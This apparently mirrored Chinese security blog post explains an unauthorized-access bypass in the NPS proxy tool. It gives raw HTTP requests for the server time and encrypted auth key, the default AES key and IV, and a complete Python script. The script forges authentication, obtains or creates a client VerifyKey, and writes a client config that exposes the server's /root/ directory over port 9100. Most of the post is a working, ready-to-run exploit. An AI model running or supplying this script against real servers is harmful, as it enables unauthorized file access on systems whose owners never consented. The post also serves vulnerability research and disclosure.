![](/style/images/good.png)
![](/style/images/bad.png)
NPS未授权访问
source link: https://misakikata.github.io/2022/08/NPS%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
nps未授权访问
根据GitHub上的脚本,得知auth_key基本都是本地MD5加密得来的,但在一些系统上测试失败,后来发现是本地和服务器的时间有问题,所以查了一下文档,发现有直接获取时间戳和加密密钥的地方。
POST /auth/gettime HTTP/1.1
Host: 192.168.70.250:18080
Content-Length: 7
Connection: close
Cookie:beegosessionID=xxxxx
search=
返回一个json字段,里面包含服务器的时间戳。
POST /auth/getauthkey HTTP/1.1
Host: 192.168.70.250:18080
Content-Length: 7
Connection: close
Cookie:beegosessionID=xxxxx
search=
返回加密的auth_key,这个key是配置文件内的key,也就是默认为注释掉的那个。并不能直接拿来使用,如果这个值为5acabcf051cd55abca03d18294422e01
,说明为空,如果为其他说明被修改过,这时候就要算auth_crypt_key的值是不是也被修改了,如果没有则可以
AES-CBC pkcs5 128位 key=1234567812345678 iv=1234567812345678 hex
进行解密,也就是说至少要有一个auth_crypt_key没被修改或已知。
如果到此处可以未授权访问,那么就可以查看客户端信息,来获取VerifyKey,获取这个东西目的是为了把客户吨连接到服务端。也就是返回中的这一段值
"Id": 2,
"VerifyKey": "6sabs7dyn4rf1oob",
"Addr": "192.168.70.250",
"Remark": "",
"Status": true,
"IsConnect": true,
构造一个配置文件,其中的8024位默认的端口,需要在服务端的配置文件中修改,不对的话没事,访问首页去查看一下就行。
[common]
server_addr=1.1.1.1:8024
vkey=123
[file]
mode=file
server_port=9100
local_path=/root/
strip_pre=/web/
这样就可以把客户端加入,并且构造了一个访问服务端文件的地址。地址就会映射到本地文件系统上。
xxx:9100/web
编写一个脚本来统一这个过程。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2022/8/16 14:13
# @Author : misakikata
# @File : nps_bypass.py
# @Description : autoremove
import argparse
import requests
import json,sys
import hashlib
from Crypto.Cipher import AES
# from urllib.parse import urlparse
from binascii import a2b_hex
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
headers = {
"Cookie":"beegosessionID=2313ba62226729bf9bb0b9680da80a5f",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
"Accept":"application/json, text/javascript, */*; q=0.01"
}
file_w = """[common]
server_addr={host}:8024
vkey={vkey}
[file]
mode=file
server_port=9100
local_path=/root/
strip_pre=/web/
"""
def get_time(host):
url = host + "/auth/gettime"
r = requests.post(url, headers=headers, data={"search":""})
time = json.loads(r.text)['time']
return time
def gen_authkey(authkey, timestamp):
mdf = hashlib.md5()
mdf.update((authkey+str(timestamp)).encode('utf-8'))
auth_key = mdf.hexdigest()
return auth_key
def get_key(host):
url = host + "/auth/getauthkey"
r = requests.post(url, headers=headers, data={"search": ""})
key = json.loads(r.text)['crypt_auth_key']
if key == "5acabcf051cd55abca03d18294422e01":
authkey = ""
else:
if deco_key("1234567812345678", key):
authkey = deco_key("1234567812345678", key)
else:
return False
return authkey
def add_to_16(value):
while len(value.encode('utf-8')) % 16 != 0:
value += '\x00'
return value.encode('utf-8')
def deco_key(key0,data):
try:
aes = AES.new(key=add_to_16(key0), mode=AES.MODE_CBC, iv=key0.encode())
decryptedstr = aes.decrypt(a2b_hex(data)).decode().strip()
return decryptedstr
except:
return False
def gen_conf(host, vkey):
host = host.split(':')[0:2]
file = file_w.format(host=''.join(host), vkey=vkey)
with open("config.ini", 'w') as f:
f.write(file)
return True
def get_vkey(host, data):
url = host + "/client/list"
r = requests.post(url, headers=headers, data=data)
if r.status_code == 200:
try:
vkey = json.loads(r.text)['rows'][0]['VerifyKey']
return vkey
except:
if gen_client(host, data):
print("无客户端,创建客户端成功")
r = requests.post(url, headers=headers, data=data)
vkey = json.loads(r.text)['rows'][0]['VerifyKey']
return vkey
else:
return False
else:
return False
def gen_client(host, data):
url = host + "/client/add"
data = "remark=&u=&p=&vkey=&config_conn_allow=1&compress=0&crypt=0&"+data
r = requests.post(url, headers=headers, data=data)
if r.status_code == 200:
if json.loads(r.text)['status'] == 1:
return True
return False
def main(host):
times = get_time(host)
if get_key(host):
getkey = get_key(host)
else:
print(host+" 解密失败!")
sys.exit(0)
auth_key = gen_authkey(getkey, times)
data = "auth_key={auth_key}×tamp={timestamp}&start=0&limit=10".format(auth_key=auth_key,timestamp=times)
r = requests.post(host, headers=headers, data=data)
if r.status_code == 200:
print(host+" is vuln!")
if get_vkey(host, data):
vkey = get_vkey(host, data)
if gen_conf(host, vkey):
print("请运行nps客户端命令:./npc -config=config.ini,并访问{host}:9100/web".format(host=''.join(host.split(':')[0:2])))
else:
print("未创建客户端或者获取失败!")
else:
print(host+" not is vuln!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description="NPS Bypass")
parser.add_argument('-u', '--url', type=str,
help="单个url检测,默认密钥进行解密")
args = parser.parse_args()
if len(sys.argv) == 3:
if sys.argv[1] in ['-u', '--url']:
main(args.url)
else:
parser.print_help()
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK